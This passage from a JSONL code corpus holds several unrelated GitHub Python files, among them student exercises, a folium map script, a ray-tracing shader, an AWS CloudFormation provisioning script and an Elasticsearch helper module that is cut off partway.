dec2base5(n):\r\n if n == 0:\r\n hiindex = len(lista_auxiliar5)-1\r\n for x in range(len(lista_auxiliar5)//2):\r\n lista_auxiliar5[x], lista_auxiliar5[hiindex] = lista_auxiliar5[hiindex], lista_auxiliar5[x]\r\n hiindex-= 1\r\n transformar_str = [str(x) for x in lista_auxiliar5]\r\n resultado = (''.join(transformar_str))\r\n return 1 and print(resultado)\r\n else:\r\n lista_auxiliar5.append(n % 5)\r\n return dec2base5(n//5)\r\n\r\n\r\ndef dec2base7(n):\r\n if n == 0:\r\n hiindex = len(lista_auxiliar7)-1\r\n for x in range(len(lista_auxiliar7)//2):\r\n lista_auxiliar7[x], lista_auxiliar7[hiindex] = lista_auxiliar7[hiindex], lista_auxiliar7[x]\r\n hiindex-= 1\r\n transformar_str = [str(x) for x in lista_auxiliar7]\r\n resultado = (''.join(transformar_str))\r\n return 1 and print(resultado)\r\n else:\r\n lista_auxiliar7.append(n % 7)\r\n return dec2base7(n//7)\r\n\r\n\r\ndec2bin(100)\r\ndec2base5(100)\r\ndec2base7(100)\r\n","repo_name":"MelloBirkan/Mackenzie-CS-Exercises","sub_path":"Exercicio_recursao.py","file_name":"Exercicio_recursao.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42033423751","text":"s=\"\"\r\nnum=0\r\nf=open(\"travel_plans.txt\",\"r\")\r\nfor i in f:\r\n for j in i:\r\n if s==\"\":\r\n num=num+1\r\nprint(num)\r\nf.close()\r\nnum_words=0\r\nf=open(\"emotion_words.txt\",'r')\r\nfor i in f:\r\n for j in i:\r\n if j==\" \":\r\n num_words=num_words+1\r\nnum_words=num_words+7\r\nprint(num_words)\r\nnum_lines=0\r\n_=open(\"school_prompt.txt\",\"r\")\r\nfor __ in _:\r\n num_lines=num_lines+1\r\nprint(num_lines)\r\n#WAP TO PRINT THE FIRST WORD OF EVERY LINE OF A TEXT DOCUMENT IN A LIST.\r\n\r\nk=[]\r\nfirst=[]\r\nf=open('example.txt','r')\r\nfor i in f:\r\n k=i.strip().split()\r\n first.append(k[0])\r\nprint(first)\r\nf.close()\r\n","repo_name":"SOURADEEP-DONNY/WORKING-WITH-PYTHON","sub_path":"CODES.py","file_name":"CODES.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15515597256","text":"import folium\r\nimport folium.plugins.polyline_text_path\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfp = 'csv/My30Cities.csv'\r\ndata = pd.read_csv(fp, encoding='utf-8',dtype='str')\r\nlon = list(np.array(data['Latitude']))\r\nlat = list(np.array(data['Longitude']))\r\nrad = list(np.array(data['Population (millions)']))\r\ntxt = list(np.array(data['Urban']))\r\nn = len(lat)-1\r\nfolium_map = folium.Map(location=[0,0],\r\n zoom_start=3,\r\n tiles='https://{s}.basemaps.cartocdn.com/dark_nolabels/{z}/{x}/{y}{r}.png',\r\n attr='© OpenStreetMap contributors © CARTO')\r\ncity = folium.map.FeatureGroup(name='cityPo')\r\nfor i in range(n):\r\n\r\n location = [float(lon[i]), float(lat[i])]\r\n folium.vector_layers.Circle(location=location,radius=int(rad[i])*30000,\r\n color = '#FF8CB9',\r\n fill = True,\r\n fill_color = '#FF8CB9',\r\n opacity = 0.7,\r\n weight=1,\r\n popup=txt[i]\r\n ).add_to(city)\r\n\r\ncity.add_to(folium_map)\r\nfolium_map.save(\"globeRaw.html\")","repo_name":"armannd092/SocialMediaCollector","sub_path":"Globe30cities.py","file_name":"Globe30cities.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19013441914","text":"import sys\nfrom collections import Counter\n\nn = int(sys.stdin.readline())\n\ntotal = 0\narr = []\nfor _ in range(n):\n num = int(sys.stdin.readline())\n arr.append(num)\n total += num\narr = sorted(arr)\n\n\navg = total / n\nprint('%.0f' %(avg))\n\n\nif n == 1:\n print(arr[0])\n print(arr[0])\n print(0)\n\nelse:\n print(arr[n//2])\n counts = Counter(arr).most_common()\n if counts[1][1] == counts[0][1]:\n print(counts[1][0])\n else:\n print(counts[0][0])\n\n print(arr[-1]-arr[0], end = \"\")","repo_name":"sirzzang/Python-Coding-Practice","sub_path":"BOJ/정렬/정렬_통계학_BOJ2108.py","file_name":"정렬_통계학_BOJ2108.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"22526764925","text":"a = []\n\ndef findNearVal(lst):\n cnt = 0\n distance = (lst[0][0])**2 + (lst[0][1])**2\n for i in range(len(lst)):\n if distance >= (lst[i][0])**2 + (lst[i][1])**2:\n distance = (lst[i][0])**2 + (lst[i][1])**2 \n cnt = 0\n else:\n cnt += 1\n pos = len(lst) - cnt - 1\n return lst[pos][0], lst[pos][1]\n\nwhile True:\n try: \n x_value, y_value = input(\"좌표 입력: \").split(\" \")\n x_value, y_value = int(x_value), int(y_value)\n a.append((x_value, y_value))\n except:\n print(\"최근접 좌표\", findNearVal(a))\n break","repo_name":"crapy0/git-project","sub_path":"pythonAssi2/example2/near.py","file_name":"near.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36463945447","text":"import os\nimport cv2\nimport numpy as np\nimport scipy.io as sio\nimport torch\n\n# Linear Fix Net hyper parameters\nepochs: int = 40\nregulate_weight_const = 100\nregulate_bias_const = 1000\nmax_distance_for_net_mm: int = 65\n\n# Camera attributes\ncapture_input_width = 1280\ncapture_input_height = 720\nglobal global_camera_matrix\nglobal global_camera_coeffs\n\n# PNP attributes\nNOSE_INDEX: int = 30\nREYE_INDICES: np.ndarray = np.array([36, 39])\nLEYE_INDICES: np.ndarray = np.array([42, 45])\nMOUTH_INDICES: np.ndarray = np.array([48, 54])\nLANDMARKS_6_PNP = sio.loadmat('UtilsAndModels/faceModelGeneric.mat')['model']\n\n# Head Pose Detect attributes\nrvec = np.zeros(3, dtype=np.float)\ntvec = np.array([0, 0, 1], dtype=np.float)\n\n\n# Gui attributes\nfont = cv2.FONT_HERSHEY_SIMPLEX\ntext_for_capture = \".\"\neyes_image = str(os.getcwd() + \"/UtilsAndModels/eyes.png\")\n\nface_cascade = cv2.CascadeClassifier()\nface_cascade.load(\"UtilsAndModels/frontal_face_detector.xml\")\n\nlandmark_detector = cv2.face.createFacemarkLBF()\nlandmark_detector.loadModel(\"UtilsAndModels/lbfmodel.yaml\")\n\n\n# Gaze to pixel attributes\nMM_TO_IN = 0.0393700787\n\n# Generic project usage\nnum_pics_per_session = 30\n\nerror_in_detect = np.array([[-1, -1],[-1,-1]])\nerror_in_pixel = np.zeros(2)\n\nnp.random.seed(0)\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint(f\"device used is: {device}\")\n\n# Calibration attributes\nCALIB_LEFT: int = 0\nCALIB_UP_LEFT: int = 1\nCALIB_UP: int = 2\nCALIB_UP_RIGHT: int = 3\nCALIB_RIGHT: int = 4\nCALIB_DOWN_RIGHT: int = 5\nCALIB_DOWN: int = 6\nCALIB_DOWN_LEFT: int = 7\nCALIB_CENTER: int = 8\nCHECK_CALIBRATION: int = 9\nFINISH_CALIBRATION: int = 10\n\nstages = {'CALIB_LEFT': 0,\n 'CALIB_UP_LEFT': 1,\n 'CALIB_UP': 2,\n 'CALIB_UP_RIGHT': 3,\n 'CALIB_RIGHT': 4,\n 'CALIB_DOWN_RIGHT': 5,\n 'CALIB_DOWN': 6,\n 'CALIB_DOWN_LEFT': 7,\n 'CALIB_CENTER': 8,\n 'CHECK_CALIBRATION': 9,\n 'FINISH_CALIBRATION': 10}\n\nstage_dot_locations = [(0.035, 0.5), (0.25, 0.25), (0.5, 0.035), (0.75, 0.25), (0.965, 0.5), (0.75, 0.75), (0.5, 0.965),\n (0.25, 0.75), (0.5, 0.5), (0., 0.)]\n","repo_name":"undor/PixeLook","sub_path":"UtilsAndModels/Defines.py","file_name":"Defines.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"20082450780","text":"\nfrom multicorn import ForeignDataWrapper\nfrom multicorn.utils import log_to_postgres\n\nimport click_db\n\n\nclass ClickFDW(ForeignDataWrapper):\n \"\"\"\n FDW that loads in click data from an leveldb database.\n\n CREATE SERVER click_srv foreign data wrapper multicorn options (wrapper 'pygoth.click_fdw.ClickFDW' );\n\n CREATE FOREIGN TABLE clicks (time timestamp without time zone, uid text, path text, et int) server click_srv;\n\n \"\"\"\n\n def __init__(self, options, columns):\n super(ClickFDW, self).__init__(options, columns)\n self._db = click_db.ClickLevelDB('/home/vagrant/temp/click.leveldb')\n\n def execute(self, quals, cols):\n start_ts = self._get_min_time(quals)\n end_ts = self._get_max_time(quals)\n for ts, tspec, uid, path, et in self._db.iter_clicks(start_ts, end_ts):\n yield {\n 'time': tspec,\n 'uid': uid,\n 'path': path,\n 'et': et,\n }\n\n def _get_min_time(self, quals):\n \"\"\"Extracts a 'time >= X' or 'time > X' qualifier.\"\"\"\n\n for q in quals:\n if q.field_name == 'time' and q.operator in ['>', '>=']:\n return int(q.value.strftime('%s'))\n\n return None\n\n def _get_max_time(self, quals):\n \"\"\"Extracts a 'time <= X' or 'time < X' qualifier.\"\"\"\n\n for q in quals:\n if q.field_name == 'time' and q.operator in ['<', '<=']:\n return int(q.value.strftime('%s'))\n\n return None\n\nif __name__ == '__main__':\n pass\n","repo_name":"chartbeat-labs/pygoth2014","sub_path":"pygoth/click_fdw.py","file_name":"click_fdw.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"19289048730","text":"# Thanks to https://github.com/highlightjs/highlight.js/blob/main/SUPPORTED_LANGUAGES.md\r\nCOMMON_EXTS = {\r\n \"as\" : \"as\",\r\n \"adb\" : \"ada\",\r\n \"ada\" : \"ada\",\r\n \"ads\" : \"ada\",\r\n \"applescript\" : \"osascript\",\r\n \"scpt\" : \"osascript\",\r\n \"asciidoc\" : \"adoc\",\r\n \"adoc\" : \"adoc\",\r\n \"asc\" : \"adoc\",\r\n \"aj\" : \"aspectj\",\r\n \"ahk\" : \"autohotkey\",\r\n \"ahkl\" : \"autohotkey\",\r\n \"au3\" : \"autoit\",\r\n \"awk\" : \"awk\",\r\n \"auk\" : \"awk\",\r\n \"gawk\" : \"awk\",\r\n \"mawk\" : \"awk\",\r\n \"nawk\" : \"awk\",\r\n \"b\" : \"bf\",\r\n \"bf\" : \"bf\",\r\n \"c\" : \"c\",\r\n \"cats\" : \"c\",\r\n \"h\" : \"c\",\r\n \"idc\" : \"c\",\r\n \"w\" : \"c\",\r\n \"cs\" : \"cs\",\r\n \"cake\" : \"cs\",\r\n \"cshtml\" : \"cs\",\r\n \"csx\" : \"cs\",\r\n \"cpp\" : \"cc\",\r\n \"c++\" : \"cc\",\r\n \"cc\" : \"cc\",\r\n \"cp\" : \"cc\",\r\n \"cxx\" : \"cc\",\r\n \"h\" : \"cc\",\r\n \"h++\" : \"cc\",\r\n \"hh\" : \"cc\",\r\n \"hpp\" : \"cc\",\r\n \"hxx\" : \"cc\",\r\n \"inc\" : \"cc\",\r\n \"inl\" : \"cc\",\r\n \"ipp\" : \"cc\",\r\n \"tcc\" : \"cc\",\r\n \"tpp\" : \"cc\",\r\n \"cmake\" : \"cmake\",\r\n \"cmake.in\" : \"cmake\",\r\n \"css\" : \"css\",\r\n \"clj\" : \"clj\",\r\n \"boot\" : \"clj\",\r\n \"cl2\" : \"clj\",\r\n \"cljc\" : \"clj\",\r\n \"cljs\" : \"clj\",\r\n \"cljs.hl\" : \"clj\",\r\n \"cljscm\" : \"clj\",\r\n \"cljx\" : \"clj\",\r\n \"hic\" : \"clj\",\r\n \"coffee\" : \"cson\",\r\n \"_coffee\" : \"cson\",\r\n \"cake\" : \"cson\",\r\n \"cjsx\" : \"cson\",\r\n \"cson\" : \"cson\",\r\n \"iced\" : \"cson\",\r\n \"coq\" : \"coq\",\r\n \"v\" : \"coq\",\r\n \"cr\" : \"cr\",\r\n \"d\" : \"d\",\r\n \"di\" : \"d\",\r\n \"dart\" : \"dart\",\r\n \"diff\" : \"diff\",\r\n \"patch\" : \"diff\",\r\n \"dockerfile\" : \"docker\",\r\n \"ex\" : \"elixir\",\r\n \"exs\" : \"elixir\",\r\n \"elm\" : \"elm\",\r\n \"erl\" : \"erl\",\r\n \"es\" : \"erl\",\r\n \"escript\" : \"erl\",\r\n \"hrl\" : \"erl\",\r\n \"xrl\" : \"erl\",\r\n \"yrl\" : \"erl\",\r\n \"fs\" : \"fs\",\r\n \"fsi\" : \"fs\",\r\n \"fsx\" : \"fs\",\r\n \"golo\" : \"golo\",\r\n \"go\": \"go\",\r\n \"gradle\" : \"gradle\",\r\n \"groovy\" : \"groovy\",\r\n \"grt\" : \"groovy\",\r\n \"gtpl\" : \"groovy\",\r\n \"gvy\" : \"groovy\",\r\n \"http\" : \"http\",\r\n \"haml\" : \"haml\",\r\n \"haml.deface\" : \"haml\",\r\n \"handlebars\" : \"hbs\",\r\n \"hbs\" : \"hbs\",\r\n \"hs\" : \"hs\",\r\n \"hsc\" : \"hs\",\r\n \"hx\" : \"hx\",\r\n \"hxsl\" : \"hx\",\r\n \"hy\" : \"hy\",\r\n \"json\" : \"json\",\r\n \"geojson\" : \"json\",\r\n \"lock\" : \"json\",\r\n \"topojson\" : \"json\",\r\n \"java\" : \"jsp\",\r\n \"js\" : \"js\",\r\n \"_js\" : \"js\",\r\n \"bones\" : \"js\",\r\n \"es\" : \"js\",\r\n \"es6\" : \"js\",\r\n \"frag\" : \"js\",\r\n \"gs\" : \"js\",\r\n \"jake\" : \"js\",\r\n \"jsb\" : \"js\",\r\n \"jscad\" : \"js\",\r\n \"jsfl\" : \"js\",\r\n \"jsm\" : \"js\",\r\n \"jss\" : \"js\",\r\n \"njs\" : \"js\",\r\n \"pac\" : \"js\",\r\n \"sjs\" : \"js\",\r\n \"ssjs\" : \"js\",\r\n \"sublime-build\" : \"js\",\r\n \"sublime-commands\" : \"js\",\r\n \"sublime-completions\" : \"js\",\r\n \"sublime-keymap\" : \"js\",\r\n \"sublime-macro\" : \"js\",\r\n \"sublime-menu\" : \"js\",\r\n \"sublime-mousemap\" : \"js\",\r\n \"sublime-project\" : \"js\",\r\n \"sublime-settings\" : \"js\",\r\n \"sublime-theme\" : \"js\",\r\n \"sublime-workspace\" : \"js\",\r\n \"sublime_metrics\" : \"js\",\r\n \"sublime_session\" : \"js\",\r\n \"xsjs\" : \"js\",\r\n \"xsjslib\" : \"js\",\r\n \"jl\" : \"julia\",\r\n \"kt\" : \"kt\",\r\n \"ktm\" : \"kt\",\r\n \"kts\" : \"kt\",\r\n \"lasso\" : \"ls\",\r\n \"las\" : \"ls\",\r\n \"lasso8\" : \"ls\",\r\n \"lasso9\" : \"ls\",\r\n \"ldml\" : \"ls\",\r\n \"less\" : \"less\",\r\n \"ls\" : \"ls\",\r\n \"_ls\" : \"ls\",\r\n \"lua\" : \"lua\",\r\n \"fcgi\" : \"lua\",\r\n \"nse\" : \"lua\",\r\n \"pd_lua\" : \"lua\",\r\n \"rbxs\" : \"lua\",\r\n \"wlua\" : \"lua\",\r\n \"mak\" : \"mk\",\r\n \"d\" : \"mk\",\r\n \"mk\" : \"mk\",\r\n \"mkfile\" : \"mk\",\r\n \"md\" : \"md\",\r\n \"markdown\" : \"md\",\r\n \"mkd\" : \"md\",\r\n \"mkdn\" : \"md\",\r\n \"mkdown\" : \"md\",\r\n \"ron\" : \"md\",\r\n \"mathematica\" : \"wl\",\r\n \"cdf\" : \"wl\",\r\n \"m\" : \"wl\",\r\n \"ma\" : \"wl\",\r\n \"mt\" : \"wl\",\r\n \"nb\" : \"wl\",\r\n \"nbp\" : \"wl\",\r\n \"wl\" : \"wl\",\r\n \"wlt\" : \"wl\",\r\n \"matlab\" : \"matlab\",\r\n \"m\" : \"matlab\",\r\n \"m\" : \"mercury\",\r\n \"moo\" : \"mercury\",\r\n \"monkey\" : \"monkey\",\r\n \"nsi\" : \"nsis\",\r\n \"nsh\" : \"nsis\",\r\n \"nginxconf\" : \"nginx\",\r\n \"vhost\" : \"nginx\",\r\n \"nix\" : \"nix\",\r\n \"ml\" : \"ml\",\r\n \"eliom\" : \"ml\",\r\n \"eliomi\" : \"ml\",\r\n \"ml4\" : \"ml\",\r\n \"mli\" : \"ml\",\r\n \"mll\" : \"ml\",\r\n \"mly\" : \"ml\",\r\n \"scad\" : \"scad\",\r\n \"oxygene\" : \"oxygene\",\r\n \"php\" : \"php\",\r\n \"aw\" : \"php\",\r\n \"ctp\" : \"php\",\r\n \"fcgi\" : \"php\",\r\n \"inc\" : \"php\",\r\n \"php3\" : \"php\",\r\n \"php4\" : \"php\",\r\n \"php5\" : \"php\",\r\n \"phps\" : \"php\",\r\n \"phpt\" : \"php\",\r\n \"pl\" : \"pl\",\r\n \"al\" : \"pl\",\r\n \"cgi\" : \"pl\",\r\n \"fcgi\" : \"pl\",\r\n \"perl\" : \"pl\",\r\n \"ph\" : \"pl\",\r\n \"plx\" : \"pl\",\r\n \"pm\" : \"pl\",\r\n \"pod\" : \"pl\",\r\n \"psgi\" : \"pl\",\r\n \"t\" : \"pl\",\r\n \"pony\" : \"pony\",\r\n \"ps1\" : \"ps\",\r\n \"psd1\" : \"ps\",\r\n \"psm1\" : \"ps\",\r\n \"pde\" : \"processing\",\r\n \"pl\" : \"prolog\",\r\n \"pro\" : \"prolog\",\r\n \"prolog\" : \"prolog\",\r\n \"yap\" : \"prolog\",\r\n \"pp\" : \"pp\",\r\n \"py\" : \"py\",\r\n \"bzl\" : \"py\",\r\n \"cgi\" : \"py\",\r\n \"fcgi\" : \"py\",\r\n \"gyp\" : \"py\",\r\n \"lmi\" : \"py\",\r\n \"pyde\" : \"py\",\r\n \"pyp\" : \"py\",\r\n \"pyt\" : \"py\",\r\n \"pyw\" : \"py\",\r\n \"rpy\" : \"py\",\r\n \"tac\" : \"py\",\r\n \"wsgi\" : \"py\",\r\n \"xpy\" : \"py\",\r\n \"qml\" : \"qml\",\r\n \"qbs\" : \"qml\",\r\n \"r\" : \"r\",\r\n \"rd\" : \"r\",\r\n \"rsx\" : \"r\",\r\n \"rb\" : \"rb\",\r\n \"builder\" : \"rb\",\r\n \"fcgi\" : \"rb\",\r\n \"gemspec\" : \"rb\",\r\n \"god\" : \"rb\",\r\n \"irbrc\" : \"rb\",\r\n \"jbuilder\" : \"rb\",\r\n \"mspec\" : \"rb\",\r\n \"pluginspec\" : \"rb\",\r\n \"podspec\" : \"rb\",\r\n \"rabl\" : \"rb\",\r\n \"rake\" : \"rb\",\r\n \"rbuild\" : \"rb\",\r\n \"rbw\" : \"rb\",\r\n \"rbx\" : \"rb\",\r\n \"ru\" : \"rb\",\r\n \"ruby\" : \"rb\",\r\n \"thor\" : \"rb\",\r\n \"watchr\" : \"rb\",\r\n \"rs\" : \"rs\",\r\n \"rs.in\" : \"rs\",\r\n \"sas\" : \"SAS\",\r\n \"scss\" : \"scss\",\r\n \"sql\" : \"sql\",\r\n \"cql\" : \"sql\",\r\n \"ddl\" : \"sql\",\r\n \"inc\" : \"sql\",\r\n \"prc\" : \"sql\",\r\n \"tab\" : \"sql\",\r\n \"udf\" : \"sql\",\r\n \"viw\" : \"sql\",\r\n \"scala\" : \"scala\",\r\n \"sbt\" : \"scala\",\r\n \"sc\" : \"scala\",\r\n \"scm\" : \"scheme\",\r\n \"sld\" : \"scheme\",\r\n \"sls\" : \"scheme\",\r\n \"sps\" : \"scheme\",\r\n \"ss\" : \"scheme\",\r\n \"sci\" : \"sci\",\r\n \"sce\" : \"sci\",\r\n \"tst\" : \"sci\",\r\n \"sh\" : \"shell\",\r\n \"bash\" : \"shell\",\r\n \"bats\" : \"shell\",\r\n \"cgi\" : \"shell\",\r\n \"command\" : \"shell\",\r\n \"fcgi\" : \"shell\",\r\n \"ksh\" : \"shell\",\r\n \"sh.in\" : \"shell\",\r\n \"tmux\" : \"shell\",\r\n \"tool\" : \"shell\",\r\n \"zsh\" : \"shell\",\r\n \"smali\" : \"smali\",\r\n \"st\" : \"st\",\r\n \"cs\" : \"st\",\r\n \"stan\" : \"stan\",\r\n \"do\" : \"stata\",\r\n \"ado\" : \"stata\",\r\n \"doh\" : \"stata\",\r\n \"ihlp\" : \"stata\",\r\n \"mata\" : \"stata\",\r\n \"matah\" : \"stata\",\r\n \"sthlp\" : \"stata\",\r\n \"styl\" : \"styl\",\r\n \"swift\" : \"swift\",\r\n \"tcl\" : \"tk\",\r\n \"adp\" : \"tk\",\r\n \"tm\" : \"tk\",\r\n \"thrift\" : \"thrift\",\r\n \"twig\" : \"twig\",\r\n \"ts\" : \"ts\",\r\n \"tsx\" : \"ts\",\r\n \"vhdl\" : \"vhdl\",\r\n \"vhd\" : \"vhdl\",\r\n \"vhf\" : \"vhdl\",\r\n \"vhi\" : \"vhdl\",\r\n \"vho\" : \"vhdl\",\r\n \"vhs\" : \"vhdl\",\r\n \"vht\" : \"vhdl\",\r\n \"vhw\" : \"vhdl\",\r\n \"vala\" : \"vala\",\r\n \"vapi\" : \"vala\",\r\n \"v\" : \"v\",\r\n \"veo\" : \"v\",\r\n \"xquery\" : \"xq\",\r\n \"xq\" : \"xq\",\r\n \"xql\" : \"xq\",\r\n \"xqm\" : \"xq\",\r\n \"xqy\" : \"xq\",\r\n \"yml\" : \"yml\",\r\n \"reek\" : \"yml\",\r\n \"rviz\" : \"yml\",\r\n \"sublime-syntax\" : \"yml\",\r\n \"syntax\" : \"yml\",\r\n \"yaml\" : \"yml\",\r\n \"yaml-tmlanguage\" : \"yml\",\r\n \"zep\" : \"zep\",\r\n \"txt\" : \"\"\r\n}","repo_name":"SeanJxie/GithubCodeBot","sub_path":"src/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"72338823067","text":"\"\"\"\nCS 3388 Assignment 4\nName: Matthew Cheverie\nStudent Number: 251098050\n\nShader Class:\nThe purpose of this class is to determine the color of pixels based on the lighting and objects around. It implements\nray tracing to determine shadowing and shading of light\n\"\"\"\n\n\nclass shader:\n\n # Constructor\n # Params:\n # Intersection - the first intersection from the intersection list\n # direction - the direction of the ray\n # camera - the camera object\n # objectList - the list of objects in the scene\n # light - the light source\n def __init__(self, intersection, direction, camera, objectList, light):\n\n # Consider the tuple (k, t0) from intersection param\n index = intersection[0]\n # Get object from object list\n object = objectList[index]\n\n # t0 is t value from the tuple\n t0 = intersection[1]\n\n # Compute inverse of the matrix T associated with object\n mInverse = object.getT().inverse()\n\n # Compute Ts which is the light position transformed with M-1\n Ts = mInverse * light.getPosition()\n\n # Transform the way in the following way:\n # Te = M-1 * e, where e is position of the camera\n Te = mInverse * camera.getE()\n\n # Td = M-1 * d, where d is the direction of the ray\n Td = mInverse * direction\n\n # Compute intersection point\n I = Te + (Td.scalarMultiply(t0))\n\n # Compute vector from intersection point to light soruce, then normalize\n S = (Ts - I).normalize()\n\n # Compute normal vector at intersection point\n N = object.normalVector(I)\n\n # Compute Specular Reflection vector\n R = -S + N.scalarMultiply(((S.scalarMultiply(2)).dotProduct(N)))\n\n # Compute vector to center of projection, normalize\n V = (Te - I).normalize()\n\n # Compute Id\n Id = max((N.dotProduct(S)), 0)\n\n # Compute Is\n Is = max((R.dotProduct(V)), 0)\n\n # Get reflectance of an object\n r = object.getReflectance()\n\n # Get color of the object\n c = object.getColor()\n\n # Get intensity of the light\n Li = light.getIntensity()\n\n # Determine if the intersection point is shadowed or not by other objects using call to shadowed\n\n # If shadowed\n if self.__shadowed(object, I, S, objectList):\n # Compute f\n f = r[0]\n\n # If not Shadowed\n else:\n # Compute f\n f = r[0] + (r[1] * Id) + (r[2] * (Is ** r[3]))\n\n # Compute Color Tuple\n self.__color = (int(c[0] * Li[0] * f), int(c[1] * Li[1] * f), int(c[2] * Li[2] * f))\n\n # Shadowed function\n # This function determines if the ray from the intersection point to the light intersects another object from the scene\n # Params:\n # object - the object to determine if there is intersection with\n # I - intersection point\n # S - vector to light source\n # objectList - list of objects\n def __shadowed(self, object, I, S, objectList):\n\n #Epsilon constant\n EPSILON = 0.001\n\n # Get T matrix associated with object\n M = object.getT()\n\n # Detach the intersection point from the surface of the object and transform into world Coords\n I = M * (I + S.scalarMultiply(EPSILON))\n\n # Transforms S into world coordinates\n S = M * S\n\n # For each object in the scene\n for obj in objectList:\n\n # Get inverse of matrix M (T matrix of object parameter)\n mInv = obj.getTinv()\n\n # Transform intersection point into the generic coordinates of the object param\n I2 = mInv * I\n\n # Transform the vector to the light soruce into the generic coordinates of the object param\n S2 = (mInv * S).normalize()\n\n # Determine if there is intersection\n if obj.intersection(I2, S2) != -1.0:\n return True\n return False\n\n def getShade(self):\n return self.__color\n","repo_name":"Chevy20/CS3388_A4","sub_path":"shader.py","file_name":"shader.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1252550308","text":"import click\n\nfrom ci.external_cmd import ExternalCmd\n\n\ndef _stack_exists(stack_name):\n result = ExternalCmd.run_and_parse_json(\n f\"aws cloudformation list-stacks --stack-status-filter \"\n \"UPDATE_COMPLETE \"\n \"CREATE_COMPLETE \"\n \"UPDATE_IN_PROGRESS \"\n \"UPDATE_COMPLETE_CLEANUP_IN_PROGRESS \"\n \"ROLLBACK_COMPLETE \"\n \"UPDATE_ROLLBACK_COMPLETE \"\n )\n stacks = result.get(\"StackSummaries\", [])\n for stack in stacks:\n if stack[\"StackName\"] == stack_name:\n return True\n return False\n\n\n@click.command()\n@click.option(\"--template-file\", help=\"Template file\")\n@click.option(\"--layer-name\", help=\"Layer name\")\n@click.option(\"--branch\", help=\"Branch name\")\ndef provision(template_file, layer_name, branch):\n stack_name = f\"{layer_name}-{branch}\"\n click.echo(f\"Provisioning {stack_name}\")\n if _stack_exists(stack_name):\n click.echo(f\"Stack '{stack_name}' already exists. Will update\")\n result = ExternalCmd.run_and_parse_json(\n f\"aws cloudformation update-stack \"\n f\"--stack-name {stack_name} \"\n f\"--template-body file://{template_file} \"\n f\"--parameters ParameterKey=Branch,ParameterValue={branch} \"\n \"--tags file://tags.json \"\n \"--capabilities CAPABILITY_IAM CAPABILITY_NAMED_IAM CAPABILITY_AUTO_EXPAND\"\n )\n stack_id = result[\"StackId\"]\n click.echo(\"Waiting for the stack-update-complete confirmation...\")\n ExternalCmd.run(\n f\"aws cloudformation wait stack-update-complete --stack-name {stack_id}\"\n )\n else:\n click.echo(f\"Stack '{stack_name}' does not exist. Will create\")\n result = ExternalCmd.run_and_parse_json(\n f\"aws cloudformation create-stack \"\n f\"--stack-name {stack_name} \"\n f\"--template-body file://{template_file} \"\n f\"--parameters ParameterKey=Branch,ParameterValue={branch} \"\n \"--tags file://tags.json \"\n \"--capabilities CAPABILITY_IAM CAPABILITY_NAMED_IAM CAPABILITY_AUTO_EXPAND\"\n )\n stack_id = result[\"StackId\"]\n click.echo(\"Waiting for the stack-create-complete confirmation...\")\n ExternalCmd.run(\n f\"aws cloudformation wait stack-create-complete --stack-name {stack_id}\"\n )\n\n click.echo(\"Confirmed\")\n\n\nif __name__ == \"__main__\":\n provision()\n","repo_name":"grishasergii/kyivmural-api","sub_path":"ci/provision.py","file_name":"provision.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2272630502","text":"# -*- coding: utf-8 -*-\n\"\"\"\n####################################################\n########### dependency ############\n####################################################\npip install elasticsearch\n\n####################################################\n########### config.yml ############\n####################################################\nes:\n default:\n host: host-name\n port: 9200\n user: optional-username\n password: optional-password\n index: default-index\n some-other:\n host: hostname-b\n port: 59200\n index: default-index\n\n\n####################################################\n########### usage ############\n####################################################\nfrom hao.es import ES\nes = ES()\nes = ES('some-other')\n\nes.delete_by_id(_id, index='optional-index')\n\nes.save(_id, data, index='optional-index', silent=False)\n\nes.update(_id, data, index='optional-index', silent=False)\n\nes.is_exists(_id, index='optional-index')\n\nes.get_by_id(_id, index='optional-index')\n\nes.get_by_ids(id_list, index='optional-index')\n\ncount = es.count(query, index='optional-index')\n\n# search once\nitems = es.search(query, index='optional-index', size=200)\n\n# scrolls\nitems_generator = es.search(query, index='optional-index', size=200, scroll='10m')\n\nes.delete_by_query(query, index='optional-index', timeout=600)\n\nes.delete_by_id(id, index='optional-index')\n\nes.bulk(actions)\n\"\"\"\nimport html\nfrom dataclasses import asdict, dataclass, field\nfrom typing import List, Optional, Union\n\nfrom elasticsearch import Elasticsearch, NotFoundError, helpers\n\nfrom . import config, invoker, jsons, logs, regexes, slacks\n\nLOGGER = logs.get_logger(__name__)\n\n\ndef connect(host, port, user=None, password=None, timeout=60, use_ssl=False, **kwargs) -> Elasticsearch:\n LOGGER.info(f\"[es] connecting to {host}:{port}, use ssl: {use_ssl}\")\n if user and password:\n return Elasticsearch(host, port=port, http_auth=(user, password), timeout=timeout, use_ssl=use_ssl, **kwargs)\n return Elasticsearch(host, port=port, timeout=timeout, use_ssl=use_ssl, **kwargs)\n\n\n@dataclass\nclass Highlight:\n fields: dict\n fragmenter: str = field(default='span')\n fragment_size: int = field(default=200)\n number_of_fragments: int = field(default=5)\n pre_tags: List[str] = 